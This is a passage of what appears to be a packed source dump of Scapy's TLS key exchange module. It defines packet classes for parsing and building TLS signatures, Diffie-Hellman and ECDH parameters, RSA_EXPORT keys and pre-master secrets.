self).addfield(pkt, s, val)\n\n\nclass SigValField(StrLenField):\n    \"\"\"There is a trick for SSLv2, which uses implicit lengths...\"\"\"\n\n    def getfield(self, pkt, m):\n        s = pkt.tls_session\n        if s.tls_version and s.tls_version < 0x0300:\n            if len(s.client_certs) > 0:\n                sig_len = s.client_certs[0].pubkey.pubkey.key_size // 8\n            else:\n                warning(\"No client certificate provided. \"\n                        \"We're making a wild guess about the signature size.\")\n                sig_len = 256\n            return m[sig_len:], self.m2i(pkt, m[:sig_len])\n        return super(SigValField, self).getfield(pkt, m)\n\n\nclass _TLSSignature(_GenericTLSSessionInheritance):\n    \"\"\"\n    Prior to TLS 1.2, digitally-signed structure implicitly used the\n    concatenation of a MD5 hash and a SHA-1 hash.\n    Then TLS 1.2 introduced explicit SignatureAndHashAlgorithms,\n    i.e. couples of (hash_alg, sig_alg). See RFC 5246, section 7.4.1.4.1.\n\n    By default, the _TLSSignature implements the TLS 1.2 scheme,\n    but if it is provided a TLS context with a tls_version < 0x0303\n    at initialization, it will fall back to the implicit signature.\n    Even more, the 'sig_len' field won't be used with SSLv2.\n    \"\"\"\n    name = \"TLS Digital Signature\"\n    fields_desc = [SigAndHashAlgField(\"sig_alg\", None, _tls_hash_sig),\n                   SigLenField(\"sig_len\", None, fmt=\"!H\",\n                               length_of=\"sig_val\"),\n                   SigValField(\"sig_val\", None,\n                               length_from=lambda pkt: pkt.sig_len)]\n\n    def __init__(self, *args, **kargs):\n        super(_TLSSignature, self).__init__(*args, **kargs)\n        if self.sig_alg is None and \"sig_alg\" not in kargs:\n            # Default sig_alg\n            self.sig_alg = 0x0804\n            if self.tls_session and self.tls_session.tls_version:\n                s = self.tls_session\n                if s.selected_sig_alg:\n                    self.sig_alg = s.selected_sig_alg\n                elif s.tls_version < 0x0303:\n                    self.sig_alg = None\n                elif s.tls_version == 0x0304:\n                    # For TLS 1.3 signatures, set the signature\n                    # algorithm to RSA-PSS\n                    self.sig_alg = 0x0804\n\n    def post_dissection(self, r):\n        # for client\n        self.tls_session.selected_sig_alg = self.sig_alg\n\n    def _update_sig(self, m, key):\n        \"\"\"\n        Sign 'm' with the PrivKey 'key' and update our own 'sig_val'.\n        Note that, even when 'sig_alg' is not None, we use the signature scheme\n        of the PrivKey (neither do we care to compare the both of them).\n        \"\"\"\n        if self.sig_alg is None:\n            if self.tls_session.tls_version >= 0x0300:\n                self.sig_val = key.sign(m, t='pkcs', h='md5-sha1')\n            else:\n                self.sig_val = key.sign(m, t='pkcs', h='md5')\n        else:\n            if self.sig_alg in [0x0807, 0x0808]:  # ed25519, ed448\n                h, t = _tls_hash_sig[self.sig_alg], None\n            else:\n                h, sig = _tls_hash_sig[self.sig_alg].split('+')\n                if sig.endswith('pss'):\n                    t = \"pss\"\n                else:\n                    t = \"pkcs\"\n            self.sig_val = key.sign(m, t=t, h=h)\n\n    def _verify_sig(self, m, cert):\n        \"\"\"\n        Verify that our own 'sig_val' carries the signature of 'm' by the\n        key associated to the Cert 'cert'.\n        \"\"\"\n        if self.sig_val:\n            if self.sig_alg:\n                if self.sig_alg in [0x0807, 0x0808]:  # ed25519, ed448\n                    h, t = _tls_hash_sig[self.sig_alg], None\n                else:\n                    h, sig = _tls_hash_sig[self.sig_alg].split('+')\n                    if sig.endswith('pss'):\n                        t = \"pss\"\n                    else:\n                        t = \"pkcs\"\n                return cert.verify(m, self.sig_val, t=t, h=h)\n            else:\n                if self.tls_session.tls_version >= 0x0300:\n                    return cert.verify(m, self.sig_val, t='pkcs', h='md5-sha1')\n                else:\n                    return cert.verify(m, self.sig_val, t='pkcs', h='md5')\n        return False\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass _TLSSignatureField(PacketField):\n    \"\"\"\n    Used for 'digitally-signed struct' in several ServerKeyExchange,\n    and also in CertificateVerify. We can handle the anonymous case.\n    \"\"\"\n    __slots__ = [\"length_from\"]\n\n    def __init__(self, name, default, length_from=None):\n        self.length_from = length_from\n        PacketField.__init__(self, name, default, _TLSSignature)\n\n    def m2i(self, pkt, m):\n        tmp_len = self.length_from(pkt)\n        if tmp_len == 0:\n            return None\n        return _TLSSignature(m, tls_session=pkt.tls_session)\n\n    def getfield(self, pkt, s):\n        i = self.m2i(pkt, s)\n        if i is None:\n            return s, None\n        remain = b\"\"\n        if conf.padding_layer in i:\n            r = i[conf.padding_layer]\n            del r.underlayer.payload\n            remain = r.load\n        return remain, i\n\n\nclass _TLSServerParamsField(PacketField):\n    \"\"\"\n    This is a dispatcher for the Server*DHParams below, used in\n    TLSServerKeyExchange and based on the key_exchange.server_kx_msg_cls.\n    When this cls is None, it means that we should not see a ServerKeyExchange,\n    so we grab everything within length_from and make it available using Raw.\n\n    When the context has not been set (e.g. when no ServerHello was parsed or\n    dissected beforehand), we (kinda) clumsily set the cls by trial and error.\n    XXX We could use Serv*DHParams.check_params() once it has been implemented.\n    \"\"\"\n    __slots__ = [\"length_from\"]\n\n    def __init__(self, name, default, length_from=None):\n        self.length_from = length_from\n        PacketField.__init__(self, name, default, None)\n\n    def m2i(self, pkt, m):\n        s = pkt.tls_session\n        tmp_len = self.length_from(pkt)\n        if s.prcs:\n            cls = s.prcs.key_exchange.server_kx_msg_cls(m)\n            if cls is None:\n                return Raw(m[:tmp_len]) / Padding(m[tmp_len:])\n            return cls(m, tls_session=s)\n        else:\n            try:\n                p = ServerDHParams(m, tls_session=s)\n                if pkcs_os2ip(p.load[:2]) not in _tls_hash_sig:\n                    raise Exception\n                return p\n            except Exception:\n                cls = _tls_server_ecdh_cls_guess(m)\n                p = cls(m, tls_session=s)\n                if pkcs_os2ip(p.load[:2]) not in _tls_hash_sig:\n                    return Raw(m[:tmp_len]) / Padding(m[tmp_len:])\n                return p\n\n\n###############################################################################\n#   Server Key Exchange parameters & value                                    #\n###############################################################################\n\n# Finite Field Diffie-Hellman\n\nclass ServerDHParams(_GenericTLSSessionInheritance):\n    \"\"\"\n    ServerDHParams for FFDH-based key exchanges, as defined in RFC 5246/7.4.3.\n\n    Either with .fill_missing() or .post_dissection(), the server_kx_privkey or\n    server_kx_pubkey of the TLS context are updated according to the\n    parsed/assembled values. It is the user's responsibility to store and\n    restore the original values if he wants to keep them. For instance, this\n    could be done between the writing of a ServerKeyExchange and the receiving\n    of a ClientKeyExchange (which includes secret generation).\n    \"\"\"\n    name = \"Server FFDH parameters\"\n    fields_desc = [FieldLenField(\"dh_plen\", None, length_of=\"dh_p\"),\n                   StrLenField(\"dh_p\", \"\",\n                               length_from=lambda pkt: pkt.dh_plen),\n                   FieldLenField(\"dh_glen\", None, length_of=\"dh_g\"),\n                   StrLenField(\"dh_g\", \"\",\n                               length_from=lambda pkt: pkt.dh_glen),\n                   FieldLenField(\"dh_Yslen\", None, length_of=\"dh_Ys\"),\n                   StrLenField(\"dh_Ys\", \"\",\n                               length_from=lambda pkt: pkt.dh_Yslen)]\n\n    @crypto_validator\n    def fill_missing(self):\n        \"\"\"\n        We do not want TLSServerKeyExchange.build() to overload and recompute\n        things every time it is called. This method can be called specifically\n        to have things filled in a smart fashion.\n\n        Note that we do not expect default_params.g to be more than 0xff.\n        \"\"\"\n        s = self.tls_session\n\n        default_params = _ffdh_groups['modp2048'][0].parameter_numbers()\n        default_mLen = _ffdh_groups['modp2048'][1]\n\n        if not self.dh_p:\n            self.dh_p = pkcs_i2osp(default_params.p, default_mLen // 8)\n        if self.dh_plen is None:\n            self.dh_plen = len(self.dh_p)\n        s.kx_group = \"ffdhe%s\" % (self.dh_plen * 8)\n\n        if not self.dh_g:\n            self.dh_g = pkcs_i2osp(default_params.g, 1)\n        if self.dh_glen is None:\n            self.dh_glen = 1\n\n        p = pkcs_os2ip(self.dh_p)\n        g = pkcs_os2ip(self.dh_g)\n        real_params = dh.DHParameterNumbers(p, g).parameters(default_backend())\n\n        if not self.dh_Ys:\n            s.server_kx_privkey = real_params.generate_private_key()\n            pubkey = s.server_kx_privkey.public_key()\n            y = pubkey.public_numbers().y\n            self.dh_Ys = pkcs_i2osp(y, pubkey.key_size // 8)\n        # else, we assume that the user wrote the server_kx_privkey by himself\n        if self.dh_Yslen is None:\n            self.dh_Yslen = len(self.dh_Ys)\n\n        if not s.client_kx_ffdh_params:\n            s.client_kx_ffdh_params = real_params\n\n    @crypto_validator\n    def register_pubkey(self):\n        \"\"\"\n        XXX Check that the pubkey received is in the group.\n        \"\"\"\n        p = pkcs_os2ip(self.dh_p)\n        g = pkcs_os2ip(self.dh_g)\n        pn = dh.DHParameterNumbers(p, g)\n\n        y = pkcs_os2ip(self.dh_Ys)\n        public_numbers = dh.DHPublicNumbers(y, pn)\n\n        s = self.tls_session\n        s.server_kx_pubkey = public_numbers.public_key(default_backend())\n        s.kx_group = \"ffdhe%s\" % (self.dh_plen * 8)\n\n        if not s.client_kx_ffdh_params:\n            s.client_kx_ffdh_params = pn.parameters(default_backend())\n\n    def post_dissection(self, r):\n        try:\n            self.register_pubkey()\n        except ImportError:\n            pass\n\n    def guess_payload_class(self, p):\n        \"\"\"\n        The signature after the params gets saved as Padding.\n        This way, the .getfield() which _TLSServerParamsField inherits\n        from PacketField will return the signature remain as expected.\n        \"\"\"\n        return Padding\n\n\n# Elliptic Curve Diffie-Hellman\n\n_tls_ec_curve_types = {1: \"explicit_prime\",\n                       2: \"explicit_char2\",\n                       3: \"named_curve\"}\n\n_tls_ec_basis_types = {0: \"ec_basis_trinomial\", 1: \"ec_basis_pentanomial\"}\n\n\nclass ECCurvePkt(Packet):\n    name = \"Elliptic Curve\"\n    fields_desc = [FieldLenField(\"alen\", None, length_of=\"a\", fmt=\"B\"),\n                   StrLenField(\"a\", \"\", length_from=lambda pkt: pkt.alen),\n                   FieldLenField(\"blen\", None, length_of=\"b\", fmt=\"B\"),\n                   StrLenField(\"b\", \"\", length_from=lambda pkt: pkt.blen)]\n\n\n# Char2 Curves\n\nclass ECTrinomialBasis(Packet):\n    name = \"EC Trinomial Basis\"\n    val = 0\n    fields_desc = [FieldLenField(\"klen\", None, length_of=\"k\", fmt=\"B\"),\n                   StrLenField(\"k\", \"\", length_from=lambda pkt: pkt.klen)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass ECPentanomialBasis(Packet):\n    name = \"EC Pentanomial Basis\"\n    val = 1\n    fields_desc = [FieldLenField(\"k1len\", None, length_of=\"k1\", fmt=\"B\"),\n                   StrLenField(\"k1\", \"\", length_from=lambda pkt: pkt.k1len),\n                   FieldLenField(\"k2len\", None, length_of=\"k2\", fmt=\"B\"),\n                   StrLenField(\"k2\", \"\", length_from=lambda pkt: pkt.k2len),\n                   FieldLenField(\"k3len\", None, length_of=\"k3\", fmt=\"B\"),\n                   StrLenField(\"k3\", \"\", length_from=lambda pkt: pkt.k3len)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\n_tls_ec_basis_cls = {0: ECTrinomialBasis, 1: ECPentanomialBasis}\n\n\nclass _ECBasisTypeField(ByteEnumField):\n    __slots__ = [\"basis_type_of\"]\n\n    def __init__(self, name, default, enum, basis_type_of, remain=0):\n        self.basis_type_of = basis_type_of\n        EnumField.__init__(self, name, default, enum, \"B\")\n\n    def i2m(self, pkt, x):\n        if x is None:\n            fld, fval = pkt.getfield_and_val(self.basis_type_of)\n            x = fld.i2basis_type(pkt, fval)\n        return x\n\n\nclass _ECBasisField(PacketField):\n    __slots__ = [\"clsdict\", \"basis_type_from\"]\n\n    def __init__(self, name, default, basis_type_from, clsdict):\n        self.clsdict = clsdict\n        self.basis_type_from = basis_type_from\n        PacketField.__init__(self, name, default, None)\n\n    def m2i(self, pkt, m):\n        basis = self.basis_type_from(pkt)\n        cls = self.clsdict[basis]\n        return cls(m)\n\n    def i2basis_type(self, pkt, x):\n        val = 0\n        try:\n            val = x.val\n        except Exception:\n            pass\n        return val\n\n\n# Distinct ECParameters\n##\n# To support the different ECParameters structures defined in Sect. 5.4 of\n# RFC 4492, we define 3 separates classes for implementing the 3 associated\n# ServerECDHParams: ServerECDHNamedCurveParams, ServerECDHExplicitPrimeParams\n# and ServerECDHExplicitChar2Params (support for this one is only partial).\n# The most frequent encounter of the 3 is (by far) ServerECDHNamedCurveParams.\n\nclass ServerECDHExplicitPrimeParams(_GenericTLSSessionInheritance):\n    \"\"\"\n    We provide parsing abilities for ExplicitPrimeParams, but there is no\n    support from the cryptography library, hence no context operations.\n    \"\"\"\n    name = \"Server ECDH parameters - Explicit Prime\"\n    fields_desc = [ByteEnumField(\"curve_type\", 1, _tls_ec_curve_types),\n                   FieldLenField(\"plen\", None, length_of=\"p\", fmt=\"B\"),\n                   StrLenField(\"p\", \"\", length_from=lambda pkt: pkt.plen),\n                   PacketField(\"curve\", None, ECCurvePkt),\n                   FieldLenField(\"baselen\", None, length_of=\"base\", fmt=\"B\"),\n                   StrLenField(\"base\", \"\",\n                               length_from=lambda pkt: pkt.baselen),\n                   FieldLenField(\"orderlen\", None,\n                                 length_of=\"order\", fmt=\"B\"),\n                   StrLenField(\"order\", \"\",\n                               length_from=lambda pkt: pkt.orderlen),\n                   FieldLenField(\"cofactorlen\", None,\n                                 length_of=\"cofactor\", fmt=\"B\"),\n                   StrLenField(\"cofactor\", \"\",\n                               length_from=lambda pkt: pkt.cofactorlen),\n                   FieldLenField(\"pointlen\", None,\n                                 length_of=\"point\", fmt=\"B\"),\n                   StrLenField(\"point\", \"\",\n                               length_from=lambda pkt: pkt.pointlen)]\n\n    def fill_missing(self):\n        \"\"\"\n        Note that if it is not set by the user, the cofactor will always\n        be 1. It is true for most, but not all, TLS elliptic curves.\n        \"\"\"\n        if self.curve_type is None:\n            self.curve_type = _tls_ec_curve_types[\"explicit_prime\"]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass ServerECDHExplicitChar2Params(_GenericTLSSessionInheritance):\n    \"\"\"\n    We provide parsing abilities for Char2Params, but there is no\n    support from the cryptography library, hence no context operations.\n    \"\"\"\n    name = \"Server ECDH parameters - Explicit Char2\"\n    fields_desc = [ByteEnumField(\"curve_type\", 2, _tls_ec_curve_types),\n                   ShortField(\"m\", None),\n                   _ECBasisTypeField(\"basis_type\", None,\n                                     _tls_ec_basis_types, \"basis\"),\n                   _ECBasisField(\"basis\", ECTrinomialBasis(),\n                                 lambda pkt: pkt.basis_type,\n                                 _tls_ec_basis_cls),\n                   PacketField(\"curve\", ECCurvePkt(), ECCurvePkt),\n                   FieldLenField(\"baselen\", None, length_of=\"base\", fmt=\"B\"),\n                   StrLenField(\"base\", \"\",\n                               length_from=lambda pkt: pkt.baselen),\n                   ByteField(\"order\", None),\n                   ByteField(\"cofactor\", None),\n                   FieldLenField(\"pointlen\", None,\n                                 length_of=\"point\", fmt=\"B\"),\n                   StrLenField(\"point\", \"\",\n                               length_from=lambda pkt: pkt.pointlen)]\n\n    def fill_missing(self):\n        if self.curve_type is None:\n            self.curve_type = _tls_ec_curve_types[\"explicit_char2\"]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass ServerECDHNamedCurveParams(_GenericTLSSessionInheritance):\n    name = \"Server ECDH parameters - Named Curve\"\n    fields_desc = [ByteEnumField(\"curve_type\", 3, _tls_ec_curve_types),\n                   ShortEnumField(\"named_curve\", None, _tls_named_curves),\n                   FieldLenField(\"pointlen\", None,\n                                 length_of=\"point\", fmt=\"B\"),\n                   StrLenField(\"point\", None,\n                               length_from=lambda pkt: pkt.pointlen)]\n\n    @crypto_validator\n    def fill_missing(self):\n        \"\"\"\n        We do not want TLSServerKeyExchange.build() to overload and recompute\n        things every time it is called. This method can be called specifically\n        to have things filled in a smart fashion.\n\n        XXX We should account for the point_format (before 'point' filling).\n        \"\"\"\n        s = self.tls_session\n\n        if self.curve_type is None:\n            self.curve_type = _tls_ec_curve_types[\"named_curve\"]\n\n        if self.named_curve is None:\n            self.named_curve = 23\n\n        curve_group = self.named_curve\n        if curve_group not in _tls_named_curves:\n            # this fallback is arguable\n            curve_group = 23  # default to secp256r1\n        s.server_kx_privkey = _tls_named_groups_generate(curve_group)\n        s.kx_group = _tls_named_curves.get(curve_group, str(curve_group))\n\n        if self.point is None:\n            self.point = _tls_named_groups_pubbytes(\n                s.server_kx_privkey\n            )\n\n        # else, we assume that the user wrote the server_kx_privkey by himself\n        if self.pointlen is None:\n            self.pointlen = len(self.point)\n\n        if not s.client_kx_ecdh_params:\n            s.client_kx_ecdh_params = curve_group\n\n    @crypto_validator\n    def register_pubkey(self):\n        \"\"\"\n        XXX Support compressed point format.\n        XXX Check that the pubkey received is on the curve.\n        \"\"\"\n        # point_format = 0\n        # if self.point[0] in [b'\\x02', b'\\x03']:\n        #    point_format = 1\n\n        s = self.tls_session\n        s.server_kx_pubkey = _tls_named_groups_import(\n            self.named_curve,\n            self.point\n        )\n        s.kx_group = _tls_named_curves.get(self.named_curve, str(self.named_curve))\n\n        if not s.client_kx_ecdh_params:\n            s.client_kx_ecdh_params = self.named_curve\n\n    def post_dissection(self, r):\n        try:\n            self.register_pubkey()\n        except ImportError:\n            pass\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\n_tls_server_ecdh_cls = {1: ServerECDHExplicitPrimeParams,\n                        2: ServerECDHExplicitChar2Params,\n                        3: ServerECDHNamedCurveParams}\n\n\ndef _tls_server_ecdh_cls_guess(m):\n    if not m:\n        return None\n    curve_type = orb(m[0])\n    return _tls_server_ecdh_cls.get(curve_type, None)\n\n\n# RSA Encryption (export)\n\nclass ServerRSAParams(_GenericTLSSessionInheritance):\n    \"\"\"\n    Defined for RSA_EXPORT kx : it enables servers to share RSA keys shorter\n    than their principal {>512}-bit key, when it is not allowed for kx.\n\n    This should not appear in standard RSA kx negotiation, as the key\n    has already been advertised in the Certificate message.\n    \"\"\"\n    name = \"Server RSA_EXPORT parameters\"\n    fields_desc = [FieldLenField(\"rsamodlen\", None, length_of=\"rsamod\"),\n                   StrLenField(\"rsamod\", \"\",\n                               length_from=lambda pkt: pkt.rsamodlen),\n                   FieldLenField(\"rsaexplen\", None, length_of=\"rsaexp\"),\n                   StrLenField(\"rsaexp\", \"\",\n                               length_from=lambda pkt: pkt.rsaexplen)]\n\n    @crypto_validator\n    def fill_missing(self):\n        k = PrivKeyRSA()\n        k.fill_and_store(modulusLen=512)\n        self.tls_session.server_tmp_rsa_key = k\n        pubNum = k.pubkey.public_numbers()\n\n        if not self.rsamod:\n            self.rsamod = pkcs_i2osp(pubNum.n, k.pubkey.key_size // 8)\n        if self.rsamodlen is None:\n            self.rsamodlen = len(self.rsamod)\n\n        self.tls_session.kx_group = \"rsa%s\" % self.rsamodlen\n\n        rsaexplen = math.ceil(math.log(pubNum.e) / math.log(2) / 8.)\n        if not self.rsaexp:\n            self.rsaexp = pkcs_i2osp(pubNum.e, rsaexplen)\n        if self.rsaexplen is None:\n            self.rsaexplen = len(self.rsaexp)\n\n    @crypto_validator\n    def register_pubkey(self):\n        mLen = self.rsamodlen\n        m = self.rsamod\n        e = self.rsaexp\n        self.tls_session.server_tmp_rsa_key = PubKeyRSA((e, m, mLen))\n        self.tls_session.kx_group = \"rsa%s\" % mLen\n\n    def post_dissection(self, pkt):\n        try:\n            self.register_pubkey()\n        except ImportError:\n            pass\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\n# Pre-Shared Key\n\nclass ServerPSKParams(Packet):\n    \"\"\"\n    XXX We provide some parsing abilities for ServerPSKParams, but the\n    context operations have not been implemented yet. See RFC 4279.\n    Note that we do not cover the (EC)DHE_PSK key exchange,\n    which should contain a Server*DHParams after 'psk_identity_hint'.\n    \"\"\"\n    name = \"Server PSK parameters\"\n    fields_desc = [FieldLenField(\"psk_identity_hint_len\", None,\n                                 length_of=\"psk_identity_hint\", fmt=\"!H\"),\n                   StrLenField(\"psk_identity_hint\", \"\",\n                               length_from=lambda pkt: pkt.psk_identity_hint_len)]  # noqa: E501\n\n    def fill_missing(self):\n        pass\n\n    def post_dissection(self, pkt):\n        pass\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\n###############################################################################\n#   Client Key Exchange value                                                 #\n###############################################################################\n\n# FFDH/ECDH\n\nclass ClientDiffieHellmanPublic(_GenericTLSSessionInheritance):\n    \"\"\"\n    If the user provides a value for dh_Yc attribute, we assume he will set\n    the pms and ms accordingly and trigger the key derivation on his own.\n\n    XXX As specified in 7.4.7.2. of RFC 4346, we should distinguish the needs\n    for implicit or explicit value depending on availability of DH parameters\n    in *client* certificate. For now we can only do ephemeral/explicit DH.\n    \"\"\"\n    name = \"Client DH Public Value\"\n    fields_desc = [FieldLenField(\"dh_Yclen\", None, length_of=\"dh_Yc\"),\n                   StrLenField(\"dh_Yc\", \"\",\n                               length_from=lambda pkt: pkt.dh_Yclen)]\n\n    @crypto_validator\n    def fill_missing(self):\n        s = self.tls_session\n        s.client_kx_privkey = s.client_kx_ffdh_params.generate_private_key()\n        pubkey = s.client_kx_privkey.public_key()\n        y = pubkey.public_numbers().y\n        self.dh_Yc = pkcs_i2osp(y, pubkey.key_size // 8)\n\n        if s.client_kx_privkey and s.server_kx_pubkey:\n            pms = s.client_kx_privkey.exchange(s.server_kx_pubkey)\n            s.pre_master_secret = pms.lstrip(b\"\\x00\")\n            if not s.extms:\n                # If extms is set (extended master secret), the key will\n                # need the session hash to be computed. This is provided\n                # by the TLSClientKeyExchange. Same in all occurrences\n                s.compute_ms_and_derive_keys()\n\n    def post_build(self, pkt, pay):\n        if not self.dh_Yc:\n            try:\n                self.fill_missing()\n            except ImportError:\n                pass\n        if self.dh_Yclen is None:\n            self.dh_Yclen = len(self.dh_Yc)\n        return pkcs_i2osp(self.dh_Yclen, 2) + self.dh_Yc + pay\n\n    def post_dissection(self, m):\n        \"\"\"\n        First we update the client DHParams. Then, we try to update the server\n        DHParams generated during Server*DHParams building, with the shared\n        secret. Finally, we derive the session keys and update the context.\n        \"\"\"\n        s = self.tls_session\n\n        # if there are kx params and keys, we assume the crypto library is ok\n        if s.client_kx_ffdh_params:\n            y = pkcs_os2ip(self.dh_Yc)\n            param_numbers = s.client_kx_ffdh_params.parameter_numbers()\n            public_numbers = dh.DHPublicNumbers(y, param_numbers)\n            s.client_kx_pubkey = public_numbers.public_key(default_backend())\n\n        if s.server_kx_privkey and s.client_kx_pubkey:\n            ZZ = s.server_kx_privkey.exchange(s.client_kx_pubkey)\n            s.pre_master_secret = ZZ.lstrip(b\"\\x00\")\n            if not s.extms:\n                s.compute_ms_and_derive_keys()\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass ClientECDiffieHellmanPublic(_GenericTLSSessionInheritance):\n    \"\"\"\n    Note that the 'len' field is 1 byte longer than with the previous class.\n    \"\"\"\n    name = \"Client ECDH Public Value\"\n    fields_desc = [FieldLenField(\"ecdh_Yclen\", None,\n                                 length_of=\"ecdh_Yc\", fmt=\"B\"),\n                   StrLenField(\"ecdh_Yc\", \"\",\n                               length_from=lambda pkt: pkt.ecdh_Yclen)]\n\n    @crypto_validator\n    def fill_missing(self):\n        s = self.tls_session\n        s.client_kx_privkey = _tls_named_groups_generate(\n            s.client_kx_ecdh_params\n        )\n        # ecdh_Yc follows ECPoint.point format as defined in\n        # https://tools.ietf.org/html/rfc8422#section-5.4\n        pubkey = s.client_kx_privkey.public_key()\n        if isinstance(pubkey, (x25519.X25519PublicKey,\n                               x448.X448PublicKey)):\n            self.ecdh_Yc = pubkey.public_bytes(\n                serialization.Encoding.Raw,\n                serialization.PublicFormat.Raw\n            )\n            if s.client_kx_privkey and s.server_kx_pubkey:\n                pms = s.client_kx_privkey.exchange(s.server_kx_pubkey)\n        else:\n            # uncompressed format of an elliptic curve point\n            x = pubkey.public_numbers().x\n            y = pubkey.public_numbers().y\n            self.ecdh_Yc = (b\"\\x04\" +\n                            pkcs_i2osp(x, (pubkey.key_size + 7) // 8) +\n                            pkcs_i2osp(y, (pubkey.key_size + 7) // 8))\n            if s.client_kx_privkey and s.server_kx_pubkey:\n                pms = s.client_kx_privkey.exchange(ec.ECDH(),\n                                                   s.server_kx_pubkey)\n\n        if s.client_kx_privkey and s.server_kx_pubkey:\n            s.pre_master_secret = pms\n            if not s.extms:\n                s.compute_ms_and_derive_keys()\n\n    def post_build(self, pkt, pay):\n        if not self.ecdh_Yc:\n            try:\n                self.fill_missing()\n            except ImportError:\n                pass\n        if self.ecdh_Yclen is None:\n            self.ecdh_Yclen = len(self.ecdh_Yc)\n        return pkcs_i2osp(self.ecdh_Yclen, 1) + self.ecdh_Yc + pay\n\n    def post_dissection(self, m):\n        s = self.tls_session\n\n        # if there are kx params and keys, we assume the crypto library is ok\n        if s.client_kx_ecdh_params:\n            s.client_kx_pubkey = _tls_named_groups_import(\n                s.client_kx_ecdh_params,\n                self.ecdh_Yc\n            )\n\n        if s.server_kx_privkey and s.client_kx_pubkey:\n            ZZ = s.server_kx_privkey.exchange(ec.ECDH(), s.client_kx_pubkey)\n            s.pre_master_secret = ZZ\n            if not s.extms:\n                s.compute_ms_and_derive_keys()\n\n\n# RSA Encryption (standard & export)\n\nclass _UnEncryptedPreMasterSecret(Raw):\n    \"\"\"\n    When the content of an EncryptedPreMasterSecret could not be deciphered,\n    we use this class to represent the encrypted data.\n    \"\"\"\n    name = \"RSA Encrypted PreMaster Secret (protected)\"\n\n    def __init__(self, *args, **kargs):\n        kargs.pop('tls_session', None)\n        return super(_UnEncryptedPreMasterSecret, self).__init__(*args, **kargs)  # noqa: E501\n\n\nclass EncryptedPreMasterSecret(_GenericTLSSessionInheritance):\n    \"\"\"\n    Pay attention to implementation notes in section 7.4.7.1 of RFC 5246.\n    \"\"\"\n    name = \"RSA Encrypted PreMaster Secret\"\n    fields_desc = [_TLSClientVersionField(\"client_version\", None,\n                                          _tls_version),\n                   StrFixedLenField(\"random\", None, 46)]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and 'tls_session' in kargs:\n            s = kargs['tls_session']\n            if s.server_tmp_rsa_key is None and s.server_rsa_key is None:\n                return _UnEncryptedPreMasterSecret\n        return EncryptedPreMasterSecret\n\n    def pre_dissect(self, m):\n        s = self.tls_session\n        tbd = m\n        tls_version = s.tls_version\n        if tls_version is None:\n            tls_version = s.advertised_tls_version\n        if tls_version >= 0x0301:\n            if len(m) < 2:      # Should not happen\n                return m\n            tmp_len = struct.unpack(\"!H\", m[:2])[0]\n            if len(m) != tmp_len + 2:\n                err = \"TLS 1.0+, but RSA Encrypted PMS with no explicit length\"\n                warning(err)\n            else:\n                tbd = m[2:]\n        if s.server_tmp_rsa_key is not None:\n            # priority is given to the tmp_key, if there is one\n            decrypted = s.server_tmp_rsa_key.decrypt(tbd)\n            pms = decrypted[-48:]\n        elif s.server_rsa_key is not None:\n            decrypted = s.server_rsa_key.decrypt(tbd)\n            pms = decrypted[-48:]\n        else:\n            # the dispatch_hook is supposed to prevent this case\n            pms = b\"\\x00\" * 48\n            err = \"No server RSA key to decrypt Pre Master Secret. Skipping.\"\n            warning(err)\n\n        s.pre_master_secret = pms\n        if not s.extms:\n            s.compute_ms_and_derive_keys()\n\n        return pms\n\n    def post_build(self, pkt, pay):\n        \"\"\"\n        We encrypt the premaster secret (the 48 bytes) with either the server\n        certificate or the temporary RSA key provided in a server key exchange\n        message. After that step, we add the 2 bytes to provide the length, as\n        described in implementation notes at the end of section 7.4.7.1.\n        \"\"\"\n        enc = pkt\n\n        s = self.tls_session\n        s.pre_master_secret = enc\n        if not s.extms:\n            s.compute_ms_and_derive_keys()\n\n        if s.server_tmp_rsa_key is not None:\n            enc = s.server_tmp_rsa_key.encrypt(pkt, t=\"pkcs\")\n        elif s.server_certs is not None and len(s.server_certs) > 0:\n            enc = s.server_certs[0].encrypt(pkt, t=\"pkcs\")\n        else:\n            warning(\"No material to encrypt Pre Master Secret\")\n\n        tmp_len = b\"\"\n        tls_version = s.tls_version\n        if tls_version is None:\n            tls_version = s.advertised_tls_version\n        if tls_version >= 0x0301:\n            tmp_len = struct.pack(\"!H\", len(enc))\n        return tmp_len + enc + pay\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\n# Pre-Shared Key\n\nclass ClientPSKIdentity(Packet):\n    \"\"\"\n    XXX We provide parsing abilities for ServerPSKParams, but the context\n    operations have not been implemented yet. See RFC 4279.\n    Note that we do not cover the (EC)DHE_PSK nor the RSA_PSK key exchange,\n    which should contain either an EncryptedPMS or a ClientDiffieHellmanPublic.\n    \"\"\"\n    name = \"Server PSK parameters\"\n    fields_desc = [FieldLenField(\"psk_identity_len\", None,\n                                 length_of=\"psk_identity\", fmt=\"!H\"),\n                   StrLenField(\"psk_identity\", \"\",\n                               length_from=lambda pkt: pkt.psk_identity_len)]\n"
  },
  {
    "path": "scapy/layers/tls/keyexchange_tls13.py",
